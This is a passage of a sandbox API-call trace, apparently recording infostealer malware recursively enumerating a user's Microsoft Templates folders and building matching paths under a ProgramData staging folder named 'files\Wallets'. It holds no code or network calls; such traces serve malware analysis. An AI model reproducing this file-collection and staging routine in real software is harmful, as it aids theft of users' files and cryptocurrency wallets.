lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent" [0052.314] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\" [0052.314] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\.." [0052.314] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.314] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.314] FindNextFileW (in: hFindFile=0x58a240, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.314] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent" [0052.314] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\" [0052.314] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\", lpString2="16" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16" [0052.314] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent" [0052.314] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\" [0052.314] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\", lpString2="16" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16" [0052.314] lstrcmpW (lpString1="16", lpString2=".") returned 1 [0052.314] lstrcmpW (lpString1="16", lpString2="..") returned 1 [0052.314] lstrcpyW (in: lpString1=0x19ce68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16" [0052.314] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\*.*" [0052.314] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\*.*", lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0x589e80 [0052.315] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16" [0052.315] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\" [0052.315] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\." [0052.315] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16" [0052.315] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\" [0052.315] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\." [0052.315] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.315] FindNextFileW (in: hFindFile=0x589e80, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.315] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16" [0052.315] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\" [0052.315] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\.." [0052.315] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16" [0052.315] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\" [0052.315] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\.." [0052.315] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.315] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.315] FindNextFileW (in: hFindFile=0x589e80, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.315] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16" [0052.315] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\" [0052.315] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\", lpString2="Managed" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed" [0052.315] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16" [0052.315] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\" [0052.315] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\", lpString2="Managed" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed" [0052.315] lstrcmpW (lpString1="Managed", lpString2=".") returned 1 [0052.315] lstrcmpW (lpString1="Managed", lpString2="..") returned 1 [0052.315] lstrcpyW (in: lpString1=0x19c524, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed" [0052.315] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\*.*" [0052.315] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\*.*", lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 0x58a0c0 [0052.316] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed" [0052.316] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\" [0052.316] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\." [0052.316] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed" [0052.316] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\" [0052.316] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\." [0052.316] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.316] FindNextFileW (in: hFindFile=0x58a0c0, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 1 [0052.316] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed" [0052.316] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\" [0052.316] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\.." [0052.316] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed" [0052.316] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\" [0052.316] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\.." [0052.316] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.316] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.316] FindNextFileW (in: hFindFile=0x58a0c0, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 1 [0052.316] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed" [0052.316] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\" [0052.317] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\", lpString2="Document Themes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes" [0052.317] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed" [0052.317] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\" [0052.317] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\", lpString2="Document Themes" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes" [0052.317] lstrcmpW (lpString1="Document Themes", lpString2=".") returned 1 [0052.317] lstrcmpW (lpString1="Document Themes", lpString2="..") returned 1 [0052.317] lstrcpyW (in: lpString1=0x19bbe0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes" [0052.317] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\*.*" [0052.317] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\*.*", lpFindFileData=0x19b920 | out: lpFindFileData=0x19b920) returned 0x58a540 [0052.317] lstrcpyW (in: lpString1=0x19bff8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes" [0052.317] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\" [0052.317] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\." [0052.317] lstrcpyW (in: lpString1=0x19bdec, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes" [0052.317] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\" [0052.317] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\." [0052.317] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.317] FindNextFileW (in: hFindFile=0x58a540, lpFindFileData=0x19b920 | out: lpFindFileData=0x19b920) returned 1 [0052.317] lstrcpyW (in: lpString1=0x19bff8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes" [0052.317] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\" [0052.317] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\..") 